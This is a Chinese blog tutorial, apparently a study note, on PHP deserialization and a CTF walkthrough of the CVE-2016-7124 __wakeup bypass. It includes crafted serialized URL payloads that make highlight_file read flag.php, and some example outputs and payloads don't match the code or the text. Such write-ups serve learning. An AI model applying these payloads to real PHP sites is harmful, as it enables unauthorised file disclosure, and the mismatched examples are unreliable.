前言

最近电脑也不知怎么了时不时断网而且我竟然找不出原因!!!很诡异....  其他设备电脑都OK唯独我的电脑 时好时坏 我仿佛摸清了我电脑断网的时间段所以作息时间都改变了  今天12点多断网刷了会手机陪家人取超市 看到小区门口都挺严格的进出要身份证 去超市还要测体温。之后回来睡觉到6点起来家里做了火锅hhhhh  吃了之后继续学习序列化漏洞emmmm 等会又该睡觉了 一天又结束了!

预备知识

https://www.cnblogs.com/xhds/p/12233720.html PHP反序列化基础

序列化public private protect参数产生不同结果

Pubic 公有

Private 私有

Protect 保护

<?php
class test{
public $name = 'xiaohua';
private $address = 'shanxi';
protected $age = '21';
} $test1 = new test();
$object = serialize($test1);
print_r($object);
?>

序列化之后打印出:

O:4:"test":3:{s:4:"name";s:7:"xiaohua";s:9:"testsex";s:6:"secret";s:6:"*age";s:2:"20";}

Public属性序列化后格式:成员名

Private属性序列化后格式:%00类名%00成员名

Protected属性序列化后的格式:%00*%00成员名

通过对网页抓取输出是这样的:

O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

(1) __construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。

(2) __wakeup() :unserialize()时会自动调用

(3) __destruct():当对象被销毁时会自动调用。

(4) __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

(5) __get() :当从不可访问的属性读取数据

(6) __call(): 在对象上下文中调用不可访问的方法时触发

CVE-2016-7124(绕过__wakeup)复现

漏洞影响版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

漏洞产生原因:

如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

<?php
//听说flag在flag.php里面??????
//来源:榆林学院信息安全协会CTF攻防训练平台
header("Content-Type: text/html; charset=utf-8");
error_reporting(0);
class sercet{
private $file='index.php';
// __construc 每次创建新对象时调用,所以__construct非常适合做初始化
public function __construct($file){
echo "_construct执行<br>";
$this->file=$file;
}
//析构函数会在对某个对象所有引用都被删除或者被显式销毁时执行
function __destruct(){
echo " __destruct执行<br>";
// echo show_source($this->file,true);
echo @highlight_file($this->file, true);
} //unserialize()先检查__wakeup是否存在,则会先调用__wakeup
function __wakeup(){
echo "__wakeup执行<br>";
$this->file='index.php';
}
} unserialize($_GET['val']);

我们分析这道CTF题,题目告知我们说flag好像在flag.php中  又看到页面爆出这个源码 我们来分析可以更改类里面的$file变量值通过__destruct()这个函数再去把当前类下的file变量用highlight_file()打印出来。所以我们来构造。先序列化

首先思考传入flag.php我们实例化一个对象new sercet("flag.php"); 传递给serialize()序列化 得出:

$obj =new sercet("flag.php");
$a=serialize($obj);
print_r($a);

序列化后的new sercet("flag.php");

O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";} 

在传递的时候切记根据private的特性加上:%00:O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

测试payload:

http://127.0.0.1/test.php?val=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

我们注意观察 __wakeup这个函数执行了它里面的这段$this->file='index.php';代码直接将我们传递进去的flag.php替换成了index.php,之后再执行__destruct()他里面的highlight_file()将$file里面的源码高亮显示。这不是我们需要的效果我们的目标是饶过__wakeup

如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

我们只需要把对象原来属性值比原来的大就行我们把1改成2

修改前:O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";} 

修改后:O:6:"sercet":2:{s:12:"%00sercet%00file";s:8:"flag.php";} 

测试payload:

http://127.0.0.1/test.php?val=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

这里我们看只执行了_destruc绕过了__wakeup所以我们成功读取了flag.PHP中的内容 获得了flag

最新文章

  1. 图——拓扑排序(uva10305)
  2. 解决Android工程里的xml文件自动提示问题
  3. C++学习注意点
  4. 线性控制原理——PID算法应用
  5. 【MFC】ID命名和数字约定
  6. codechef Arranging Cup-cakes题解
  7. URAL 2047 Maths 打表 递推
  8. 《Linear Algebra and Its Applications》-chaper3-行列式-行列式初等变换
  9. JQUERY1.9学习笔记 之基本过滤器(十一) 奇数选择器
  10. java.lang.IllegalStateException: No data type for node: org.hibernate.hql.ast.tree.MethodNode(尼玛,蛋疼的错误)
  11. CentOS6.5安装python redis模块
  12. Android笔记: 在Eclipse环境下使用Genymotion模拟器
  13. Cisco 关闭命令同步提示信息
  14. jQuery ajax如何传多个值到后台页面,举例:
  15. CMake--List用法
  16. qtp 自动化测试---点滴 获取属性性/修改窗体标题
  17. 国内的pip源
  18. python摸爬滚打之day18----instance, type, issubclass和反射
  19. 分析MySQL中哪些情况下数据库索引会失效
  20. linux中测试py脚本使用debug模式

热门文章

  1. 探索ParNew和CMS垃圾回收器
  2. RocketMQ扫盲篇
  3. Win10中装Win10---virtualbox虚拟机的安装及拓展
  4. IntelliJ IDEA 使用指南:集成GIT客户端
  5. Ubuntu下创建apt源
  6. 多快好省地使用pandas分析大型数据集
  7. java log4j 的一个bug
  8. flask-profiler的使用
  9. @Transactional 注意事项、方法调用
  10. ubuntu裸机启动python博客项目